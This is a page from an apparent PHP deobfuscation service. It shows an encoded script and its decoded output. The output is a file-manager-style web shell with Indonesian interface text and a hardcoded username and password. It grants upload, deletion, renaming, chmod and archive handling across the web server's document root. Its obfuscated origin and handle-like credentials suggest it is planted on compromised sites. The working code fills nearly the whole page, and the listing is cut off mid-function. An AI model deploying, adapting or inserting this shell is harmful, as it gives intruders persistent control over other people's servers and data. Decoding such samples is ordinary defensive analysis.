Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $enc = '==AryjWQ1CrqAEw/7fi764BFtUNJS18WtrdpcIA58SikTHSjGS+6WC2ZWaNdoR0o9fr9fa9cJ/o..

Decoded Output download

?>b'<?php
/**
 * PHP 
 * By BCLSWL
 */

// 
// [true|false]
$use_auth = true;

// true
// array(\'\' => \'\', \'\' => \'\', ...);
$auth_users = array(
    \'nullcyber\' => \'Minami1\',
);

//  highlight.js (https://highlightjs.org/) 
// [true|false]
$use_highlightjs = true;

// highlight.js 
$highlightjs_style = \'vs\';

// date()  time()  - http://php.net/manual/en/timezones.php
$default_timezone = \'Asia/Jakarta\'; //  UTC+8

// 
$root_path = $_SERVER[\'DOCUMENT_ROOT\'];

//  $http_host  \'\', \'path/to/subfolder\'
//  $root_path 
$root_url = \'\';

//  URL 
$http_host = $_SERVER[\'HTTP_HOST\'];

//  iconv 
$iconv_input_encoding = \'UTF-8\';

// date() 
// 
$datetime_format = \'y.m.d H:i\';

//--- 

// 

if (defined(\'FM_EMBED\')) {
    $use_auth = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set(\'default_charset\', \'UTF-8\');
    if (version_compare(PHP_VERSION, \'7.4.0\', \'<\') && function_exists(\'mb_internal_encoding\')) {
        mb_internal_encoding(\'UTF-8\');
    }
    if (function_exists(\'mb_regex_encoding\')) {
        mb_regex_encoding(\'UTF-8\');
    }

    session_cache_limiter(\'\');
    session_name(\'filemanager\');
    session_start();
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER[\'HTTPS\']) && ($_SERVER[\'HTTPS\'] == \'on\' || $_SERVER[\'HTTPS\'] == 1)
    || isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\';

// & $root_path
$root_path = rtrim($root_path, \'\/\');
$root_path = str_replace(\'\\', \'/\', $root_path);
if (!@is_dir($root_path)) {
    echo sprintf(\'<h1>direktori root tidak ditemukan "%s" Duh!</h1>\', fm_enc($root_path));
    exit;
}

//  $root_url
$root_url = fm_clean_path($root_url);

// 
defined(\'FM_ROOT_PATH\') || define(\'FM_ROOT_PATH\', $root_path);
defined(\'FM_ROOT_URL\') || define(\'FM_ROOT_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . (!empty($root_url) ? \'/\' . $root_url : \'\'));
defined(\'FM_SELF_URL\') || define(\'FM_SELF_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . $_SERVER[\'PHP_SELF\']);

// 
if (isset($_GET[\'logout\'])) {
    unset($_SESSION[\'logged\']);
    fm_redirect(FM_SELF_URL);
}

// 
if (isset($_GET[\'img\'])) {
    fm_show_image($_GET[\'img\']);
}

// 
if ($use_auth) {
    if (isset($_SESSION[\'logged\'], $auth_users[$_SESSION[\'logged\']])) {
        // 
    } elseif (isset($_POST[\'fm_usr\'], $_POST[\'fm_pwd\'])) {
        // 
        sleep(1);
        if (isset($auth_users[$_POST[\'fm_usr\']]) && $_POST[\'fm_pwd\'] === $auth_users[$_POST[\'fm_usr\']]) {
            $_SESSION[\'logged\'] = $_POST[\'fm_usr\'];
            fm_set_msg(\'Anda sekarang masuk.\');
            fm_redirect(FM_SELF_URL . \'?p=\');
        } else {
            unset($_SESSION[\'logged\']);
            fm_set_msg(\'Kata Username/Password Salah!\', \'error\');
            fm_redirect(FM_SELF_URL);
        }
    } else {
        // 
        unset($_SESSION[\'logged\']);
        fm_show_header();
        fm_show_message();
        ?> 
        <div class="top-content">

            <div class="inner-bg">
                <div class="container">
                    <div class="row">
                        <div class="col-sm-8 col-sm-offset-2 text">
                            <h1><strong>Halo!</strong><br>Silakan masuk untuk melakukan operasi.</h1>
                            <div class="description">
                                <p>Masukan akses untuk mengenksekusi</p>
                            </div>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-6 col-sm-offset-3 form-box">
                                <div class="form-top">
                                        <div class="form-top-left">
                                                <h3>Silakan masukkan data</h3>
                                        <p>Silakan masukkan nama pengguna dan kata sandi yang diberikan oleh administrator.</p>
                                        </div>
                                        <div class="form-top-right">
                                                <i class="fa fa-lock"></i>
                                        </div>
                            </div>
                            <div class="form-bottom">
                                            <form role="form" action="" method="post" class="login-form">
                                                <div class="form-group">
                                                        <label class="sr-only" for="form-username">Username</label>
                                                        <input type="text" name="fm_usr" placeholder="Username" class="form-username form-control"  required>
                                                </div>
                                                <div class="form-group">
                                                        <label class="sr-only" for="form-password">Password</label>
                                                        <input type="password" name="fm_pwd" placeholder="Password" class="form-password form-control" id="form-password"  required>
                                                </div>
                                                <button type="submit" class="btn">Login</button>
                                            </form>
                                    </div>
                        </div>
                    </div>
                </div>
            </div>

        </div>          
        <?php
        fm_show_footer();
        exit;
    }
}

define(\'FM_IS_WIN\', DIRECTORY_SEPARATOR == \'\\');

//  ?p= 
if (!isset($_GET[\'p\'])) {
    fm_redirect(FM_SELF_URL . \'?p=\');
}

// 
$p = isset($_GET[\'p\']) ? $_GET[\'p\'] : (isset($_POST[\'p\']) ? $_POST[\'p\'] : \'\');

// 
$p = fm_clean_path($p);

// 
define(\'FM_PATH\', $p);
define(\'FM_USE_AUTH\', $use_auth);

defined(\'FM_ICONV_INPUT_ENC\') || define(\'FM_ICONV_INPUT_ENC\', $iconv_input_encoding);
defined(\'FM_USE_HIGHLIGHTJS\') || define(\'FM_USE_HIGHLIGHTJS\', $use_highlightjs);
defined(\'FM_HIGHLIGHTJS_STYLE\') || define(\'FM_HIGHLIGHTJS_STYLE\', $highlightjs_style);
defined(\'FM_DATETIME_FORMAT\') || define(\'FM_DATETIME_FORMAT\', $datetime_format);

unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);

/***************************  ***************************/

// /
if (isset($_GET[\'del\'])) {
    $del = $_GET[\'del\'];
    $del = fm_clean_path($del);
    $del = str_replace(\'/\', \'\', $del);
    if ($del != \'\' && $del != \'..\' && $del != \'.\') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }
        $is_dir = is_dir($path . \'/\' . $del);
        if (fm_rdelete($path . \'/\' . $del)) {
            $msg = $is_dir ? \'Folder <b>%s</b> telah dihapus.\' : \'Berkas <b>%s</b> telah dihapus.\';
            fm_set_msg(sprintf($msg, fm_enc($del)));
        } else {
            $msg = $is_dir ? \'Aneh, kenapa <b>%s</b> tidak bisa dihapus?\' : \'Aneh, kenapa <b>%s</b> tidak bisa dihapus?\';
            fm_set_msg(sprintf($msg, fm_enc($del)), \'error\');
        }
    } else {
        fm_set_msg(\'File/folder memiliki nama yang salah.\', \'error\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// 
if (isset($_GET[\'new\'])) {
    $new = strip_tags($_GET[\'new\']); // menghapus
    $new = fm_clean_path($new);
    $new = str_replace(\'/\', \'\', $new);
    if ($new != \'\' && $new != \'..\' && $new != \'.\') {
        $path = FM_ROOT_PATH;
        if (FM_PATH != \'\') {
            $path .= \'/\' . FM_PATH;
        }
        if (fm_mkdir($path . \'/\' . $new, false) === true) {
            fm_set_msg(sprintf(\'<b>%s</b> Folder ini telah dibuat.\', fm_enc($new)));
        } elseif (fm_mkdir($path . \'/\' . $new, false) === $path . \'/\' . $new) {
            fm_set_msg(sprintf(\'<b>%s</b> Folder ini sudah ada.\', fm_enc($new)), \'alert\');
        } else {
            fm_set_msg(sprintf(\'Aneh mengapa <b>%s</b> tidak dapat dibuat? ? ?\', fm_enc($new)), \'error\');
        }
    } else {
        fm_set_msg(\'Nama foldernya salah.\', \'error\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// menyalin/
if (isset($_GET[\'copy\'], $_GET[\'finish\'])) {
    // 
    $copy = $_GET[\'copy\'];
    $copy = fm_clean_path($copy);
    // 
    if ($copy == \'\') {
        fm_set_msg(\'Jalur sumber tidak ditentukan.\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }
    // 
    $from = FM_ROOT_PATH . \'/\' . $copy;
    // ...
    $dest = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $dest .= \'/\' . FM_PATH;
    }
    $dest .= \'/\' . basename($from);
    // Pindah?
    $move = isset($_GET[\'move\']);
    // menyalin/Pindah
    if ($from != $dest) {
        $msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(\'Memindahkan <b>%s</b> ke <b>%s</b>.\', fm_enc($copy), fm_enc($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(\'File/folder jalur sudah ada.\', \'alert\');
            } else {
                fm_set_msg(sprintf(\'Terjadi kesalahan saat memindahkan <b>%s</b> ke <b>%s</b>.\', fm_enc($copy), fm_enc($msg_from)), \'error\');
            }
        } else {
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(\'Menyalin <b>%s</b> ke <b>%s</b>.\', fm_enc($copy), fm_enc($msg_from)));
            } else {
                fm_set_msg(sprintf(\'Terjadi kesalahan saat menyalin <b>%s</b> ke <b>%s</b>.\', fm_enc($copy), fm_enc($msg_from)), \'error\');
            }
        }
    } else {
        fm_set_msg(\'Jangan mengatur jalur target menjadi sama.\', \'alert\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// menyalin/
if (isset($_POST[\'file\'], $_POST[\'copy_to\'], $_POST[\'finish\'])) {
    // 
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    // ...
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST[\'copy_to\']);
    if ($copy_to != \'\') {
        $copy_to_path .= \'/\' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(\'Jangan mengatur jalur target menjadi sama.\', \'alert\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg(\'Aneh, mengapa folder target tidak bisa dibuat? ? ?\', \'error\');
            fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
        }
    }
    // Pindah
    $move = isset($_POST[\'move\']);
    // menyalin/Pindah
    $errors = 0;
    $files = $_POST[\'file\'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != \'\') {
                // 
                $from = $path . \'/\' . $f;
                // ...
                $dest = $copy_to_path . \'/\' . $f;
                // 
                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? \'File dan folder yang dipilih telah dipindahkan.\' : \'File dan folder yang dipilih telah disalin.\';
            fm_set_msg($msg);
        } else {
            $msg = $move ? \'Terjadi kesalahan saat memindahkan beberapa item...\' : \'Terjadi kesalahan saat menyalin beberapa item...\';
            fm_set_msg($msg, \'error\');
        }
    } else {
        fm_set_msg(\'Tidak ada yang dipilih.\', \'alert\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// Ganti nama
if (isset($_GET[\'ren\'], $_GET[\'to\'])) {
    // 
    $old = $_GET[\'ren\'];
    $old = fm_clean_path($old);
    $old = str_replace(\'/\', \'\', $old);
    // 
    $new = $_GET[\'to\'];
    $new = fm_clean_path($new);
    $new = str_replace(\'/\', \'\', $new);
    // 
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    // Ganti nama
    if ($old != \'\' && $new != \'\') {
        if (fm_rename($path . \'/\' . $old, $path . \'/\' . $new)) {
            fm_set_msg(sprintf(\'<b>%s</b> telah diberi nama <b>%s</b>.\', fm_enc($old), fm_enc($new)));
        } else {
            fm_set_msg(sprintf(\'Terjadi kesalahan saat menamai <b>%s</b> menjadi <b>%s</b>...\', fm_enc($old), fm_enc($new)), \'error\');
        }
    } else {
        fm_set_msg(\'Belum ada nama yang ditetapkan.\', \'error\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// Download
if (isset($_GET[\'dl\'])) {
    $dl = $_GET[\'dl\'];
    $dl = fm_clean_path($dl);
    $dl = str_replace(\'/\', \'\', $dl);
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }
    if ($dl != \'\' && is_file($path . \'/\' . $dl)) {
        header(\'Content-Description: File Transfer\');
        header(\'Content-Type: application/octet-stream\');
        header(\'Content-Disposition: attachment; filename="\' . basename($path . \'/\' . $dl) . \'"\');
        header(\'Content-Transfer-Encoding: binary\');
        header(\'Connection: Keep-Alive\');
        header(\'Expires: 0\');
        header(\'Cache-Control: must-revalidate, post-check=0, pre-check=0\');
        header(\'Pragma: public\');
        header(\'Content-Length: \' . filesize($path . \'/\' . $dl));
        readfile($path . \'/\' . $dl);
        exit;
    } else {
        fm_set_msg(\'\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }
}

// 
if (isset($_POST[\'upl\'])) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $total = count($_FILES[\'upload\'][\'name\']);

    for ($i = 0; $i < $total; $i++) {
        $tmp_name = $_FILES[\'upload\'][\'tmp_name\'][$i];
        if (empty($_FILES[\'upload\'][\'error\'][$i]) && !empty($tmp_name) && $tmp_name != \'none\') {
            if (move_uploaded_file($tmp_name, $path . \'/\' . $_FILES[\'upload\'][\'name\'][$i])) {
                $uploads++;
            } else {
                $errors++;
            }
        }
    }

    if ($errors == 0 && $uploads > 0) {
        fm_set_msg(sprintf(\'Semua file telah diunggah ke <b>%s</b>.\', fm_enc($path)));
    } elseif ($errors == 0 && $uploads == 0) {
        fm_set_msg(\'Tidak ada yang diunggah.\', \'alert\');
    } else {
        fm_set_msg(sprintf(\'Terjadi kesalahan saat mengunggah... Berkas yang diunggah: %s\', $uploads), \'error\');
    }

    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// menghapus
if (isset($_POST[\'group\'], $_POST[\'delete\'])) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST[\'file\'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != \'\') {
                $new_path = $path . \'/\' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(\'File dan folder yang dipilih telah dihapus.\');
        } else {
            fm_set_msg(\'Terjadi kesalahan saat menghapus...\', \'error\');
        }
    } else {
        fm_set_msg(\'Tidak ada yang dipilih.\', \'alert\');
    }

    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// 
if (isset($_POST[\'group\'], $_POST[\'zip\'])) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    if (!class_exists(\'ZipArchive\')) {
        fm_set_msg(\'Kompresi sepertinya tidak berfungsi di server Anda.\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    $files = $_POST[\'file\'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . \'_\' . date(\'ymd_His\') . \'.zip\';
        } else {
            $zipname = \'archive_\' . date(\'ymd_His\') . \'.zip\';
        }

        $zipper = new FM_Zipper();
        $res = $zipper->create($zipname, $files);

        if ($res) {
            fm_set_msg(sprintf(\'File terkompresi <b>%s</b> selesai.\', fm_enc($zipname)));
        } else {
            fm_set_msg(\'Operasi kompresi tidak selesai.\', \'error\');
        }
    } else {
        fm_set_msg(\'Tidak ada yang dipilih.\', \'alert\');
    }

    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// 
if (isset($_GET[\'unzip\'])) {
    $unzip = $_GET[\'unzip\'];
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace(\'/\', \'\', $unzip);

    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    if (!class_exists(\'ZipArchive\')) {
        fm_set_msg(\'Operasi dekompresi tampaknya tidak berfungsi di server Anda.\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    if ($unzip != \'\' && is_file($path . \'/\' . $unzip)) {
        $zip_path = $path . \'/\' . $unzip;

        //
        $tofolder = \'\';
        if (isset($_GET[\'tofolder\'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . \'/\' . $tofolder, true)) {
                $path .= \'/\' . $tofolder;
            }
        }

        $zipper = new FM_Zipper();
        $res = $zipper->unzip($zip_path, $path);

        if ($res) {
            fm_set_msg(\'Itu telah didekompresi.\');
        } else {
            fm_set_msg(\'Belum ada file yang ditemukan.\', \'error\');
        }

    } else {
        fm_set_msg(\'Belum ada file yang ditemukan.\', \'error\');
    }
    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

// Windows 
if (isset($_POST[\'chmod\']) && !FM_IS_WIN) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != \'\') {
        $path .= \'/\' . FM_PATH;
    }

    $file = $_POST[\'chmod\'];
    $file = fm_clean_path($file);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || (!is_file($path . \'/\' . $file) && !is_dir($path . \'/\' . $file))) {
        fm_set_msg(\'\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST[\'ur\'])) {
        $mode |= 0400;
    }
    if (!empty($_POST[\'uw\'])) {
        $mode |= 0200;
    }
    if (!empty($_POST[\'ux\'])) {
        $mode |= 0100;
    }
    if (!empty($_POST[\'gr\'])) {
        $mode |= 0040;
    }
    if (!empty($_POST[\'gw\'])) {
        $mode |= 0020;
    }
    if (!empty($_POST[\'gx\'])) {
        $mode |= 0010;
    }
    if (!empty($_POST[\'or\'])) {
        $mode |= 0004;
    }
    if (!empty($_POST[\'ow\'])) {
        $mode |= 0002;
    }
    if (!empty($_POST[\'ox\'])) {
        $mode |= 0001;
    }

    if (@chmod($path . \'/\' . $file, $mode)) {
        fm_set_msg(\'Izin telah berubah.\');
    } else {
        fm_set_msg(\'Mengubah izin gagal...\', \'error\');
    }

    fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
}

/*************************** / ***************************/

// 
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
    $path .= \'/\' . FM_PATH;
}

// 
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . \'?p=\');
}

// 
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
if (is_array($objects)) {
    foreach ($objects as $file) {
        if ($file == \'.\' || $file == \'..\') {
            continue;
        }
        $new_path = $path . \'/\' . $file;
        if (is_file($new_path)) {
            $files[] = $file;
        } elseif (is_dir($new_path) && $file != \'.\' && $file != \'..\') {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// ...
if (isset($_GET[\'upload\'])) {
    fm_show_header(); // 
    fm_show_nav_path(FM_PATH); // 
    ?>
    <div class="path">
        <p><b>Upload File</b></p>
        <p class="break-word">folder tujuan<?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?></p>
        <form action="" method="post" enctype="multipart/form-data">
            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
            <input type="hidden" name="upl" value="1">
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <input type="file" name="upload[]"><br>
            <p>
                <button class="btn"> Upload</button>
                <button class="btn"><a href="?p=<?php echo urlencode(FM_PATH) ?>">Batalkan</a></button>
            </p>
        </form>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// menyalin/Pindah POST 
if (isset($_POST[\'copy\'])) {
    $copy_files = $_POST[\'file\'];
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(\'Tidak ada yang dipilih.\', \'alert\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    fm_show_header(); // 
    fm_show_nav_path(FM_PATH); // 
    ?>
    <div class="path">
        <p><b>menyalin/Pindah</b></p>
        <form action="" method="post">
            <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
            <input type="hidden" name="finish" value="1">
            <?php
            foreach ($copy_files as $cf) {
                echo \'<input type="hidden" name="file[]" value="\' . fm_enc($cf) . \'">\' . PHP_EOL;
            }
            $copy_files_enc = array_map(\'fm_enc\', $copy_files);
            ?>
            <p class="break-word">dokumenfolder<b><?php echo implode(\'</b>, <b>\', $copy_files_enc) ?></b></p>
            <p class="break-word">direktori sumber<?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . FM_PATH)) ?><br>
                <label for="inp_copy_to"></label>
                <?php echo FM_ROOT_PATH ?>/<input name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
            </p>
            <p><label><input type="checkbox" name="move" value="1"> Pilih untuk Pindah</label></p>
            <p>
                <button class="btn">Konfirmasi</button>
                <button class="btn"><a href="?p=<?php echo urlencode(FM_PATH) ?>"> Batalkan</a></button>
            </p>
        </form>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// menyalin
if (isset($_GET[\'copy\']) && !isset($_GET[\'finish\'])) {
    $copy = $_GET[\'copy\'];
    $copy = fm_clean_path($copy);
    if ($copy == \'\' || !file_exists(FM_ROOT_PATH . \'/\' . $copy)) {
        fm_set_msg(\'File not found\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    fm_show_header(); // 
    fm_show_nav_path(FM_PATH); // 
    ?>
    <div class="path">
        <p><b>menyalin</b></p>
        <p class="break-word">
            direktori sumber<?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'/\' . $copy)) ?><br>
            folder tujuan<?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . \'\' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="icon-apply"></i> menyalin</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="icon-apply"></i> Pindah</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-cancel"></i> Batalkan</a></b>
        </p>
        <p><i>Pilih folder tujuan dari bawah</i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="icon-arrow_up"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
                ?>
                <li><a href="?p=<?php echo urlencode(trim(FM_PATH . \'/\' . $f, \'/\')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="icon-folder"></i> <?php echo fm_enc(fm_convert_win($f)) ?></a></li>
            <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// 
if (isset($_GET[\'view\'])) {
    $file = $_GET[\'view\'];
    $file = fm_clean_path($file);
    $file = str_replace(\'/\', \'\', $file);
    if ($file == \'\' || !is_file($path . \'/\' . $file)) {
        fm_set_msg(\'Belum ada file yang ditemukan.\', \'error\');
        fm_redirect(FM_SELF_URL . \'?p=\' . urlencode(FM_PATH));
    }

    fm_show_header(); // 
    fm_show_nav_path(FM_PATH); // 

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != \'\' ? \'/\' . FM_PATH : \'\') . \'/\' . $file);
    $file_path = $path . \'/\' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);

    $is_zip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;

    $view_title = \'dokumen\';
    $filenames = false; // ZIP 
    $content = \'\'; // 

    if ($ext == \'zip\') {
        $is_zip = true;
        $view_title = \'file terkompresi\';
        $filenames = fm_get_zif_info($file_path);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = \'gambar\';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = \'audio\';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = \'video\';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == \'text\' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
        <p class="break-word">
            Rute lengkap<?php echo fm_enc(fm_convert_win($file_path)) ?><br>
            Ukuran file<?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf(\'%s bytes\', $filesize) ?>)<?php endif; ?><br>
            MIME jenis<?php echo $mime_type ?><br>
            <?php
            // ZIP 
            if ($is_zip && $filenames !== false) {
                $total_files = 0;
                $total_comp = 0;
                $total_uncomp = 0;
                foreach ($filenames as $fn) {
                    if (!$fn[\'folder\']) {
                        $total_files++;
                    }
                    $total_comp += $fn[\'compressed_size\'];
                    $total_uncomp += $fn[\'filesize\'];
                }
                ?>
                <?php echo $total_files ?><br>
                <?php echo fm_get_filesize($total_uncomp) ?><br>
                <?php echo fm_get_filesize($total_comp) ?><br>
                <?php echo round($total_uncomp - $total_comp) ?> Bytes<br>
                <?php
            }
            // Pindah
            if ($is_image) {
                $image_size = getimagesize($file_path);
                echo \'Resolusi gambar\' . (isset($image_size[0]) ? $image_size[0] : \'0\') . \' x \' . (isset($image_size[1]) ? $image_size[1] : \'0\') . \'<br>\';
            }
            // 
            if ($is_text) {
                $is_utf8 = fm_is_utf8($content);
                if (function_exists(\'iconv\')) {
                    if (!$is_utf8) {
                        $content = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $content);
                    }
                }
                echo \'Pengkodean\' . ($is_utf8 ? \'utf-8\' : \'8 bit\') . \'<br>\';
            }
            ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="icon-download"></i> Download</a></b> &nbsp;
            <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="icon-chain"></i> Membuka</a></b> &nbsp;
            <?php
            // ZIP 
            if ($is_zip && $filenames !== false) {
                $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                ?>
                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="icon-apply"></i> unzip</a></b> &nbsp;
                <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="buka zip ke<?php echo fm_enc($zip_name) ?>"><i class="icon-apply"></i>
                    unzip ke folder</a></b> &nbsp;
                <?php
            }
            ?>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="icon-goback"></i> kembali</a></b>
        </p>
        <?php
        if ($is_zip) {
            // ZIP 
            if ($filenames !== false) {
                echo \'<code class="maxheight">\';
                foreach ($filenames as $fn) {
                    if ($fn[\'folder\']) {
                        echo \'<b>\' . fm_enc($fn[\'name\']) . \'</b><br>\';
                    } else {
                        echo $fn[\'name\'] . \' (\' . fm_get_filesize($fn[\'filesize\']) . \')<br>\';
                    }
                }
                echo \'</code>\';
            } else {
                echo \'<p>...</p>\';
            }
        } elseif ($is_image) {
            // 
            if (in_array($ext, array(\'gif\', \'jpg\', \'jpeg\', \'png\', \'bmp\', \'ico\'))) {
                echo \'<p><img src="\' . fm_enc($file_url) . \'" alt="" class="preview-img"></p>\';
            }
        } elseif ($is_audio) {
            // 
            echo \'<p><audio src="\' . fm_enc($file_url) . \'" controls preload="metadata"></audio></p>\';
        } elseif ($is_video) {
            // 
            echo \'<div class="preview-video"><video src="\' . fm_enc($file_url) . \'" width="640" height="360" controls preload="metadata"></video></div>\';
        } elseif ($is_text) {
            if (FM_USE_HIGHLIGHTJS) {
                // 
                $hljs_classes = array(
                    \'shtml\' => \'xml\',
                    \'htaccess\' => \'apache\',
                    \'phtml\' => \'php\',
                    \'lock\' => \'json\',
                    \'svg\' => \'xml\',
                );
                $hljs_class = isset($hljs_classes[$ext]) ? \'lang-\' . $hljs_classes[$ext] : \'lang-\' . $ext;
                if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match(\'#\.min\.(css|js)$#i\', $file)) {
                    $hljs_class = \'nohighlight\';
                }
